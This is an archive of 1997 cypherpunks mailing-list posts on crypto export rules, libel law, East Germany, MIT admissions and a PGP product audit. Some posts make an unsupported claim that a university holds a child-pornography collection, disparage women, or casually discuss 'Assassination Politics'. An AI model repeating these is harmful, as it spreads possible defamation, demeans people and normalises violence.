To: Vipul Ved Prakash <cypherpunks@toad.com>
Subject: Re: Child Porn
Message-ID: <3.0.32.19970129001035.006f3328@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 04:48 AM 1/29/97 +0000, Vipul Ved Prakash wrote:
>(Forward)
>*** NY student charged with sending child sex photos over Internet
>
>Nathaniel Levy, a psychology major at New York State University, was
>charged Wednesday with using the Internet to transmit photos of
>infants having sex with adults, the New York state attorney general
>said.

This is hilarious, given the fact that San Francisco State University's psychology department has what probably amounts to the largest collection of child pornography on the planet. Their collection also includes primary sources on any other type of kink you can imagine. And some that no sane person ever could imagine.

[You have to be at least working on a PhD to access the collection.]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 21:20:04 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: Fighting the cybercensor
In-Reply-To: <01BC0D5D.D7CD3200@king2-20.cnw.com>
Message-ID: <Pine.SOL.3.93.970129001058.16757C-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, blanc wrote:

> From:	jim bell
> 
> [ on discussing AP on the cpunk list]:
> 
> Because it's on-topic, that's why.  Because it's not merely a list
> concerning METHODS of encryption, it's also about the _reasons_ for using
> encryption, as well as the _effects_ (both small-scale and large-scale) of
> using encryption.
> --
> 
[...] 
> I was thinking the reason that most people don't think of applying AP is 
> because they're normal.   It is not the first thought of a normal person to 
> kill another human, just because they've been offended - even severely.  It 
> takes an extraordinary circumstance to motivate one to such destruction, 
> especially if there are a thousand armed troops supporting the object of 
> the attempt.
>
	Any normal person has potential to kill, 
	why they don't...?  They have other thoughts 
	and dreams for a better future.

oksas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 22:26:49 -0800 (PST)
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290545.GAA06984@basement.replay.com>
Message-ID: <199701290622.AAA04564@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


can any kind soul tell me, what are the SAT scores needed to be in the top
10%, top 1%, and top 0.1% of all the students who take these tests?

thank you

igor

Anonymous wrote:
> 
> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 21:30:38 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <3.0.1.32.19970128205620.00624060@popd.ix.netcom.com>
Message-ID: <199701290528.AAA01874@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


One point I had forgotten. The demonstration took place
on the 50th anniversary of Kristallnacht. This is one explanation
as to why the border guards did not attempt to open fire with
firearms or attempt to break up the demonstration with tear gas.

Also consider that the Tiennamen square massacre had occurred
only a few months before and it did not appear to have settled
the issue of who controlled china. Many of the dissidents were still
at large, China was a pariah nation. East Germany had recently been
visited by Gorbachev who did not appear ready to help keep the
regime if things got sticky.

The mass defections were taking place at their peak at a rate of
tens of thousands in a day. Something like a quarter of the youth
between 18 and 25 had defected. Bill if anything understates this point.

Certainly if the people decide that the structures of state are
not worth supporting change can be astonishing. 

I think that the spending into bankrupcy thesis might be argued for
the case of the USSR and more plausibly the US. The problem is that
I don't think that the military spending in either case bore any
relation to need, to the threat from the other side or to any
rational determination. I think both budgets simply increased to
the limit that the economies could support and beyond. 

There is a similar problem in the third world today. Many third world
countries spend more on arms than they do on health or education.
Much of the alledged "foreign aid" is in fact subsidies for this 
trade. The arms are primarily to suppress internal dissent. There
are plenty of governments left in need of similar reform.

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 29 Jan 1997 00:24:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Circumventing the ITAR
In-Reply-To: <199701290355.TAA17298@toad.com>
Message-ID: <32EF0C85.167E@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark Rosen wrote:
> 
>         I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for
> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?
> It's not all that much different from what MIT has up for PGP.

	What you need to do to provide FTP access to crypto
software is spelled out in the EAR regulations. Here is a
summary. I am not a lawyer.

1) Users (downloaders) should be asked to answer some
questions to indicate that:

	They are aware of the crypto export regulations.
	They and their computers are in the US/Canada.
	They intend to follow the the crypto export regulations
		and not export the software they download.
	They are US persons as defined in the EAR regulations.

2) The server should check that the client site requesting the
download is in the US or Canada.

In other words, just displaying a warning is not enough.

>         Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

	I wouldn't try to circumvent the regulations by trying
to follow the letter of the law while ignoring its spirit. You
don't have to be convicted of a crime to make life a lot difficult.
Ask Phil Zimmerman, who never even uploaded pgp to the Internet.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 21:50:25 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701290552.XAA02798@smoke.suba.com>
Message-ID: <199701290550.AAA01959@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> > I am a cyber-revolutionary and the world has bought into
> > the chaos of our revolution. I never intended the Web to be a tool
> > for confirming the present social order which is manifestly 
> > corrupt.
> 
>      Which of course is why you were in contact with Billy's boys right?

We did consider very early on the idea of proceedings of congress
annotated with the campaign contributions of the various speakers.

Imagine if instead of Newt Gingrich you saw Newt Gingrich ($243,493
Tobbacco Industry) as a speaker note.

We were in contact with the Clinton folks because the Bush guys
ignored the Web and the Internet completely. They just were
not interested. Nor were the Perot folks either - odd since the
electronic townhall was a big part of their platform. Even in 
this campaign the Perot page could not be read with Netscape 6 months
before the election.

On the other hand have a look at www.buchanan.org If you thought that
Pat got a bum rap off the press when they called him a neo-Nazi
just take a look at his site. Buchanan Brigade? Look at the
choice of topics for the speaches. 

	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 22:59:02 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EEF0AC.BF1@gte.net>
Message-ID: <199701290653.AAA04799@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Too bad.  They're cleaner, more polite, less aggressive, make far
> better love than men.  If only they were interested in real computing
> (other than as a job or school work).

Most of women are not worthy.

>  If only they were interested in real computing
> (other than as a job or school work).

I know one who is truly interested in computing.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mjw@VNET.IBM.COM
Date: Tue, 28 Jan 1997 22:04:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Altavista
Message-ID: <199701290603.WAA20485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:    Mark Waddington
Subject: Altavista

> However, the doubleclick.net ads appear to bear no relationship to the
> keywords being searched...

Interestingly, I've just noticed over the last couple of days that the in-line
ads are directly relevant to the search words I enter. I did a search yesterday
on "Quicken" and "security" and all the in-line ads I was shown referred to
security or penetration detection products.

Mark Waddington
Interactive Financial Services         | Phone : +61-3-96266574
Business Development Manager           | Mobile: +61-412-217316
IBM Asia Pacific                       | Fax   : +61-3-96266273




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 23:18:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199701290212.UAA06654@einstein>
Message-ID: <32EF1652.1AB7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 01:17:44 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel/slander & crypto relevancy (fwd)
Message-ID: <3.0.32.19970129012206.0073d510@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM 1/28/97 -0600, Jim Choate:
>> From: Greg Broiles <gbroiles@netbox.com>
>> Civil actions against people doing "graffiti" are only interesting where
>> the defendant has assets worth suing for. This economic dimension
>> substantially limits the number of suits which will be brought.
>
>Thank you for agreeing with my thesis that the legal industry is one
>driven by monetary gain and not justice. It is the one major problem
>with law today, it ignores those who are not 'worth it'. Justice is
>supposed to be blind and until that happens there can be no true
>liberty. Law should be involved in rights and wrongs and not 'how much
>money do I need to buy that villa in Spain'.

Um, I was making the reciprocal of your point - that people with no assets
have a special *advantage* with respect to civil suits, they're able to get
away with a fair amount of misbehavior because it's not cost-effective for
plaintiffs to sue them. If you're a defendant, being ignored as not 'worth
it' is a good thing, not a bad thing.

>There is also the aspect of 'reputation' of the organization which was
>defamed. This will become even more critical to good business over the
>Internet in the future than it is now. Now the only really important
>'reputation' that one has to worry about is their credit report.

I disagree strongly here. Think about the reputations of Odwalla and
Sizzler and (Burger King? can't remember) after their E. Coli problems.
Think about the reputation of Radio Shack for making mostly crappy
products. Think about the reputation of some ISP's (Netcom, AOL) for
continuing to charge people's credit cards for months after a cancellation.
Reputation has many dimensions beyond credit reports. 

> Another aspect of this
>that keeps coming up is one of 'big' corporations with 'lots' of money,
>this monotonicity in legal thought is the reason I refer to the 'legal
>industry' and not 'legal profession'. Currently the main force driving
>law is how much money is available. Expansions of liberty simply can't
>happen in this environment because there is no mechanism to protect
>'little' organizations or persons without 'lots' of cash. This problem is
>one that is not being addressed by anyone, most especialy lawyers who
>will loose income which they aren't apt to do voluntarily.

I agree that people get screwed because they can't afford to litigate or
they can't afford a [good] attorney. But I think that the economic
dimension to litigation is not necessarily all bad - if litigation were
costless, what would prevent people from suing over essentially negligible
disputes? I think it's good for people to stop and ask themselves "Is this
dispute really worth fighting over?" The relatively high cost of litigation
is a way to ration access to a relatively expensive resource, e.g., the
courts. If litigants don't pay that cost, then taxpayers will. (And
shifting more costs to losing litigants makes it easier, not harder, to be
effectively judgment-proof by having few assets.)

>> Criminal prosecutions for defamation (in the case of "graffiti") are still
>> unlikely - a much more straightforward charge would be unauthorized access
>> to a computer or some flavor of fraud, depending on the facts.
>
>This would be hard to do in the situation such as a mailing list because
>the parties would have 'authorized access' and it does not include the issue
>of inside parties nor 'web bbs's' where parties can enter comments and
>other statements in a 'authorized' manner. There are mechanisms to use 
>computers for abuse of other parties besides hacking.

I don't think that that web BBS or mailing list messages alone will lead to
much criminal liability for defamation because I think it's difficult to do
a lot of harm in that medium. BBS's have existed for 20+ years now - and
how many online defamation cases have we seen? Maybe 10, total. Off the top
of my head the only ones I remember are _Cubby v. Compuserve_ and
_Stratton-Oakmont_, but there are probably others. Still, we're seeing
what, at best one reported case for every 2 years? Online defamation
liability exists, but I don't think there's ever going to be an avalanche
of cases, simply because the damage involved tends to be relatively small
compared to the monetary and emotional costs of litigation. 

>The point is that if joe-six-pack isn't secure in knowing that his views
>and expression are not protected from abuse he won't use it. We all loose
>in that case.

But Joe Sixpack's lack of protection from abuse is also Joe Sixpack's
protection from prosecution when he hasn't done anything wrong. Look at how
pissed off some people are when Sandy moderates the list - imagine how much
worse it would be if prosecutors were sifting through the list, identifying
messages they thought were "over the line" with respect to defamation and
then prosecuting the wrongdoers. Yow. Some people would be facing
three-strikes minimums based on a single day's messages. :)

I much prefer a world where we can engage in spirited debate without being
afraid of prosecution (or civil suits) over a world where a tiny misstep
means jail or litigation. You're of course free to want something else, but
it's hard for me to see the logic behind arguing against private moderation
but in favor of significant state regulation. 

Look at the way that big corporations use SLAPP suits to pick on Ma and Pa
Kettle now, and imagine what big corporations could do if it was easier to
create criminal liability for defamation. I think your proposed
strengthening of defamation rules will prove to hurt the "little guys", not
help them. 

>In this example, if party A makes a statement and then B changes it and
>then re-distributes it as original comments by A then there is a problem
>irrespective of the monetary worth of A or B. Digital signatures in and of
>themselves won't help this from happening unless it is required to include
>the full text and signature of any quote in any subsequent use of that
>material otherwise the quote and the digital signature are out of sync and
>therefore worthless.

But people who receive the message unsigned know they're getting an
unsigned message (or know that it was signed by the quoter, but not the
quoted author) and can make the appropriate assumptions about the truth of
the attributions, and adjust their assessment of the veracity of the quoter
if it turns out that the quoter is a liar, or if someone challenges the
quoter to produce a signed version of the statement and they cannot.

We seem to have survived OK so far without special rules to punish people
for lying - why do we need special ones for the Net? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 01:27:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290658.WAA21810@toad.com>
Message-ID: <32EF1825.2ECF@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
> 
> can any kind soul tell me, what are the SAT scores needed to be in
> the top 10%, top 1%, and top 0.1% of all the students who take these
> tests?

I'm not sure what this has to do with, well, anything, but here goes.

Scores from before April 1995 are not comparable to scores today because 
the method of scoring has changed to recenter the distribution. The 99th 
percentile starts at 1440 for women and 1490 for men. Full stats at
http://www.collegeboard.org/sat/html/topsrs29.html

Please note that this is for "college-bound seniors." It's not a stat 
that applies to the general population (i.e., 1490+ is the top 1% of the 
elite 30% or so that go to college), and it doesn't include people who 
were satisfied with the score they got the beginning of their junior 
year, and didn't take it again (i.e., me).

I don't know about MIT, but I'd think that their numbers would be even 
higher than those for Stanford, because MIT doesn't recruit football 
players. Some of Stanford's numbers are at 
http://www-portfolio.stanford.edu/105549

MIT and the like aren't impossible. Fucking elitist, yes. Worth it? 
Probably, though two of my closest and most intelligent friends have no 
college degrees at all. Of course, they had to earn people's respect, 
whereas I had people recruiting me based largely on the fact that I 
still had a pulse five years after taking the SAT. What counts is what 
people want you to do five years after that.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 01:17:46 -0800 (PST)
To: dthorn@gte.net
Subject: Re: [noise] RE: Shave the Whales
In-Reply-To: <c=US%a=_%p=GTE%l=NDHM06-970128140810Z-80293@ndhm06.ndhm.gtegsc.com>
Message-ID: <32EF1CB2.4416@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Mullen, Patrick wrote:
> > Is there a way we can keep the caricatures w/out getting the rest of the
> > message
> > w/ these postings?  I like the ASCII art, but...
> 
> BTW, some of the recent ones are pretty amazing: a bat, a scorpion,
> a cow, etc.

  Maybe we could have the original cypherpunks list saved as an
historical ASCII arts treasure.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 01:54:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701290627.WAA20943@toad.com>
Message-ID: <32EF1EBC.181D@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker wrote:
> 
> One point I had forgotten. The demonstration took place
> on the 50th anniversary of Kristallnacht. This is one explanation
> as to why the border guards did not attempt to open fire with
> firearms or attempt to break up the demonstration with tear gas.

I think the timing was a coincidence. (And I'm told that Kristallnacht 
wasn't well advertised in East Germany; especially after the Soviets 
sided the United Arab Republic, the official story was that Hitler had 
been exterminating good Communists, not Jews.) While the final week was 
pretty spectacular, the demonstrations and defections had been building 
for months, as you say:

> The mass defections were taking place at their peak at a rate of
> tens of thousands in a day. Something like a quarter of the youth
> between 18 and 25 had defected. Bill if anything understates this
> point.

I wasn't there, but an East German friend of mine was 20 when the wall 
came down. He was doing his compulsory military service at the time. 
Even in early 1987, as he was being interviewed by the Stasi concerning 
the direction the state would allow him to take his life, he says he 
felt no real fear telling them, up front, "Sure, I'll carry a gun, and 
I'll go where you tell me to go, but I will not hurt anyone."

They gave him a gun and put him on the front, where he waved to his 
friends as they walked across the border.

I think a lot of the border guards were like Thomas.

> I think that the spending into bankrupcy thesis might be argued for
> the case of the USSR and more plausibly the US. The problem is that
> I don't think that the military spending in either case bore any
> relation to need, to the threat from the other side or to any
> rational determination. I think both budgets simply increased to
> the limit that the economies could support and beyond.
> 
> There is a similar problem in the third world today. Many third world
> countries spend more on arms than they do on health or education.
> Much of the alledged "foreign aid" is in fact subsidies for this
> trade. The arms are primarily to suppress internal dissent. There
> are plenty of governments left in need of similar reform.

Yeah, yeah. Economics has soomething to do with it. But I think it comes 
down to "Sure, I'll carry a gun, and I'll go where you tell me to go, 
but I will not hurt anyone." Ideas matter.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 00:11:16 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EF00D3.5A71@gte.net>
Message-ID: <199701290807.CAA00493@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Too bad.  They're cleaner, more polite, less aggressive, make far
> > > better love than men.  If only they were interested in real computing
> > > (other than as a job or school work).
> 
> > Most of women are not worthy.
> > I know one who is truly interested in computing.
> 
> How many eyes, ears, and noses does she have?  Is she particularly
> nervous around microwave ovens?  Does she wear strange, mismatched
> clothing?  Any strange eating habits, such as French fries with a
> spoon?  No sense of humor, or laughs at times when nobody else does?
> Takes off a lot of days sick?  Takes a lot of notes?  Uses any common
> items in a bizarre way, such as nail-painting with Wite-out?  Asks
> a lot of questions that any normal person would know?  Secretive
> about her personal life?  Does she ever talk to herself, as in
> practicing speech?  -just curious.
> 

She sings to herself, but the answer to all other true/false questions 
is no.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 02:11:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista sprouts a hole ...
In-Reply-To: <199701290126.RAA11363@toad.com>
Message-ID: <32EF22D3.1344@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I mentioned that here and in comp.org.eff.talk a couple weeks ago.
No need to turn images off. Just tell AltaVista you want text-only:

 http://altavista.digital.com/cgi-bin/query?pg=&text=yes

You may also find the text-only page a hell of a lot faster.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 02:22:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
In-Reply-To: <199701290656.WAA21795@toad.com>
Message-ID: <32EF2569.7E09@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Let me plug Carnegie Mellon University, which consistently ties with
> MIT and one of them California schools for first place in computer
> science.

You must be joking. After all you've said about the school, you're 
recommending it? Isn't "Mr. L-18 Tag" the head of the department now?

Anyway, our correspondent is asking the wrong question. There is no 
"best" school. If you want to be a brilliant programmer, I think you 
have to be born that way. If you want theory, you need to be specific 
about your research interests. If you want mass-marketable experience in 
Windoze, avoid the big-name schools, which tend to treat Windows with 
the respect is deserves. (At Stanford, despite having a very nice Paul 
Allen Center for Integrated Systems and a posh new Bill Gates 
Information Sciences building, all instruction is done in Think C or 
UNIX.)

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Jan 1997 18:05:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto verification needed for Pretty Safe Mail
Message-ID: <199701290156.CAA27377@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


There have been questions raised on the newsgroups regarding
Pretty Safe Mail, arguably the best implementation of a PGP product
for the Macintosh.

In response, the product manager at Highware has requested that
a trusted third party verify the security of Pretty Safe Mail. However,
a NON-U.S. cryptologer is needed.

I'm including the post below. Please forward to any people you know
who may qualify.

Pretty Safe Mail is a GREAT product. If it can be shown to be safe
and effective, it will do wonders to spread the use of strong crypto.

=====

From: axel@highware.com (Axel de Landtsheer)
Newsgroups: comp.security.pgp.discuss
Subject: Re: Concerned about Pretty Safe Mail for Mac


>  I'm concerned about the product "Pretty Safe Mail" for the Macintosh,
>by a company called Highware. I was wondering whether anyone here had
>tried evaluating it at all.
>
>  It is a complete PGP implementation (not a front-end). They claim
>to have licensed some of PRZ's code from PGP. However, as far as I
>can tell, they are not making any of the source code available.

The source code for PSM is indeed not available. We are however eager to
have the code checked by any trusted source. These sources cannot be US
companies because of the new US regulations which state that US companies
must not give such support to overseas companies. Us being a Belgian
company, this makes things a little more difficult. Does anybody have a
suggestion for such a trusted source outside the US?

>  As someone on the comp.security.pgp newsgroups pointed out, writing
>a wonderful user interface on a PGP trojan horse that either crippled
>the session key generator or used the session key to leak random
>portions of secret key primes would be a perfect tactic for a
>government wishing to penetrate PGP security. With such a great
>interface, compared to the original PGP, it can't help but become
>widely used.

PSM is not a Trojan Horse. Does any trusted source want to check that?

>  I realize that without the source code, it's a major hassle, but
>has anyone looked at Pretty Safe Mail (previously called Safemail)
>at all for suspicious behavior? For example:
>
>  1) non-random session key generation?
>  2) non-random key pair generation?
>  3) unnecessary disk access to secret keys?
>  4) anything else?

Many people are worried about the random-key generation because they do not
need to bang away on the keyboard for five minutes when they create a key
pair. Apparently, this seems to loosen their nerves (I heard some people
created about 10 key pairs a day - just a joke).
In short, we use all events that happen on the Mac (clicks, typing, opening
of windows, display of icons, ...) together with the time they happen, and
encrypt these to fill a table which is the starting point for the
random-number generator. Why make people type away on the keyboard if you
have enough random events to start from?

Again, we want to have this checked by a trusted source asap...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Axel de Landtsheer | Highware, Inc.
                   | 109 av. H. Jaspar, 1060 Brussels, Belgium
Product Manager    | voice: +32 2 537-6810 fax: +32 2 537-5155
axel@highware.com  | http://www.highware.com, ftp://ftp.highware.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To obtain my PGP key, send me a message with subject "Send PGP key"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 29 Jan 1997 02:17:12 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701290642.WAA21277@toad.com>
Message-ID: <199701291120.DAA01312@songbird.com>
MIME-Version: 1.0
Content-Type: text


snow allegedly said:
> 
> Phill wrote:
> > I'm a philosophical anarchist and I don't consider the state to have
> > "rights" over its "subjects", nor do I believe in the pure ideology of
> > property you do.
> > 
> > Its worth noting that the origin of property is theft. In the case of the
> 
>     BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> that _my_ property is the result of ME stealing, and hence what I OWN belongs
> to the community IS theft.

He was making a slightly more subtle point, I believe, though fallacious 
just the same.  It is clear that "ownership" or "property rights" are 
constructs of society.  That is, property rights are rights conferred 
on the individual by the society.  For example, if society determines 
that you don't own your house, then you don't own it.  Contrariwise, if 
you are alone on a desert island you "own" whatever you say you own, 
since at that point you are a society of one -- you want the Milky 
Way -- it's yours -- you just grant yourself full rights and title to 
it.  So the origin of property isn't theft, and it isn't labor -- 
it's whatever society says it is.

Of course, "society" is not a monolith, and it may be at odds with itself.

> I work, and as the result of that work something is
> created. That something is MINE to do with as I will. If I choose to sell that
> work for money, that money is mine. If I trade that money for shoes, those 
> shoes are mine. THere is no theft involved.

Possession of objects like shoes is of no consequence -- they 
aren't the kind of propert that is at issue.  Land is the fundamental 
property item.  Arguably every piece of land in the world has been 
stolen from someone at one time or another.

> > controllers of China literally so since they stole most of their "property"
> > from the previous rulers.
> 
>      They "won" it in combat. 

Therefore, if I beat you over the head with a crowbar and take your 
shoes, it is not theft, but merely the spoils of war.  That's 
convenient for those with big crowbars.

> The people of china obviously prefered new 
> government to the old one, or they would have prevented the takeover. 

What a crock.  Obviously, by your reasoning, every murder victim must 
secretly have preferred death, otherwise they would have prevented it.

> > I believe that the relationship between a state and individual is
> > a much more complex one than the slavish subjection model
> > you propose. In this I am in agreement with practically every
> > philosopher since Locke.
> 
>      Practically every philosopher since Locke has recieved their education
> at a Government or "Elite" sponsored school, and made their livings the same 
> way. I'm not claiming conspiracy here, but those that feed at the trough 
> aren't going to insult it overmuch.

Like you, for example?  You are feeding at the trough of society just 
as much as anyone else.  You wouldn't be on the net, otherwise.

But I agree, citing "every philosopher since Locke" is bogus.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 03:22:59 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <3.0.32.19970129032232.0077eabc@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 PM 1/28/97 -0600, Jim Choate wrote:

>It has been asserted by at least one member that the 1st Amendment protects
>libelous or other defamatory speech. 

Defamation is not protected by the First Amendment; but the First Amendment
limits the application of defamation law in many circumstances. For
example, the First Amendment requires plaintiffs to prove "actual malice"
if they are a public official, public figure, or a private person seeking
punitive damages.

So if you want to think of defamatory statements as those which are false
and injurious to someone's reputation, yes, the First Amendment protects
some of them. (By definition, defamation is outside the protection of the
First Amendment, but I get the impression that you're not trying to use it
as a term of art.) 

>This is hokem. The 1st most certainly does not protect lies in any form.

The First Amendment protects some lies. As Justice Powell wrote for the
majority in _Gertz v. Robert Welch_, 418 U.S. 323, 339 (1974):

"Under the First Amendment, there is no such thing as a false idea. However
pernicious an opinion may seem, we depend for its correction not on the
conscience of judges and juries, but on the competition of other ideas. But
there is no constitutional value in false statements of fact. Neither the
intentional lie nor the careless error materially advances society's
interest in "uninhibited, robust, and wide-open" debate on public issues.
New York Times Co. v. Sullivan, 376 U.S. at  270. They belong to that
category of utterances which "are no essential part of any exposition of
ideas, and are of such slight social value as a step to truth that any
benefit that may be derived from them is clearly outweighed by the social
interest in order and morality." Chaplinsky v. New Hampshire, 315 U.S. 568,
572 (1942).

"Although the erroneous statement of fact is not worthy of constitutional
protection, it is nevertheless inevitable in free debate. As James Madison
pointed out in the Report on the Virginia Resolutions of 1798: "Some degree
of abuse is inseparable from the proper use of every thing; and in no
instance is this more true than in that of the press." 4 J. Elliot, Debates
on the Federal Constitution of 1787, p. 571 (1876). And punishment of error
